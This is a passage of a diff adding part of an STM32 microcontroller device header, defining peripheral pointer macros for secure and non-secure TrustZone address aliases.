AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_SRAM6_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_NS) +#define JPEG_NS ((JPEG_TypeDef *) JPEG_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define DCACHE2_NS ((DCACHE_TypeDef *) DCACHE2_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) +#define GTZC_MPCBB6_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_NS) +#define GFXMMU_NS ((GFXMMU_TypeDef *) GFXMMU_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) +#define LTDC_S ((LTDC_TypeDef *) LTDC_BASE_S) +#define LTDC_Layer1_S ((LTDC_Layer_TypeDef *) LTDC_Layer1_BASE_S) +#define LTDC_Layer2_S ((LTDC_Layer_TypeDef *) LTDC_Layer2_BASE_S) +#define DSI_S ((DSI_TypeDef *) DSI_BASE_S) +#define REFBIAS_S ((REFBIAS_TypeDef *) REFBIAS_BASE_S) +#define DPHY_S ((DPHY_TypeDef *) DPHY_BASE_S) +#define GFXTIM_S ((GFXTIM_TypeDef *) GFXTIM_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_SRAM6_S ((RAMCFG_TypeDef *) RAMCFG_SRAM6_BASE_S) +#define JPEG_S ((JPEG_TypeDef *) JPEG_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define DCACHE2_S ((DCACHE_TypeDef *) DCACHE2_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) +#define GTZC_MPCBB6_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB6_BASE_S) +#define GFXMMU_S ((GFXMMU_TypeDef *) GFXMMU_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define SRAM6_BASE SRAM6_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_S +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define DCACHE2 DCACHE2_S +#define DCACHE2_BASE DCACHE2_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define 